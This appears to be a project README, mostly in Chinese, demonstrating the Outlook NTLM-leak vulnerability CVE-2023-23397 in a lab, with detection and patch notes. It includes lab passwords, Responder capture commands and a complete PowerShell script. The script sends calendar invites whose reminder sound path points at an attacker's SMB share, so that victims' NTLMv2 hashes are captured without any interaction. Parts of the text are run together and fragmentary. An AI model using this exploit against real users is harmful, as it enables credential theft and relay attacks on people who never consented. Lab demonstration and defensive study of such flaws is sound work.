
Demonstration of CVE-2023-23397 Outlook Privellege Escalation vulnerability
本项目演示了 CVE-2023-23397 的检测、利用与缓解,这是 Microsoft Outlook for Windows 中的一个严重零点击 NTLM 中继漏洞。通过日历邀请进行利用,攻击者能够在无需任何用户交互的情况下捕获 NTLMv2 哈希。
🛡️ CVSS 评分: 9.8(严重)
🖥️ 受影响版本: Outlook 2013、2016、2019、Microsoft 365(2023 年 3 月 14 日补丁之前)
Outlook 的日历提醒可通过 PidLidReminderFileParameter MAPI 属性配置自定义声音。Outlook 未能验证 UNC 路径,导致在触发提醒时会发出远程 SMB 请求。
\\attacker-ip\share\sound.wav
这会导致 NTLMv2 哈希被发送到攻击者控制的服务器,然后可用于:
使用 MFCMAPI 检查日历项目,查找 PidLidReminderFileParameter(MAPI 标签 0x851F001F)中的恶意值。
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F 以查看提醒文件路径安装 2023 年 3 月 14 日的补丁(例如 KB5002044)。该补丁引入了:
IsFileZoneLocalIntranetOrTrusted() 以验证提醒文件路径测试结果:
Outlook 将记录事件 ID 1008 并阻止对不受信任的 SMB 路径的访问。
192.168.1.0/24)📂 预建策略:OutlookMitigation.ipsec
| 系统 | 用户名 | 密码 |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 虚拟机 | CVE-2023-23397 | vbox@123 |
| 邮箱账户 | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
确保 Kali 和受害者虚拟机在同一网络中。
安装:
设置:
exploit.com[email protected]# 初始化 Outlook COM 对象
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # 攻击者 IP 地址
$emails = @("[email protected]") # 邮件列表
# 创建新的约会项
$Appointment = $Outlook.CreateItem(1) # 1 对应 olAppointmentItem
# 设置约会属性
$Appointment.Subject = "CVE 演示演示"
$Appointment.Body = "这是一个测试会议,请忽略。"
$Appointment.Location = "迪拜"
$Appointment.Start = (Get-Date).AddSeconds(1) # 开始时间设置为从现在起 1 秒后
$Appointment.Duration = 30 # 持续时间(分钟)
# 配置提醒设置
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# 保存并发送约会
$Appointment.Save()
$Appointment.Send()
Responder 将捕获来自受害者系统的 NTLMv2 哈希。
PidLidReminderFileParameter 包含 UNC 路径。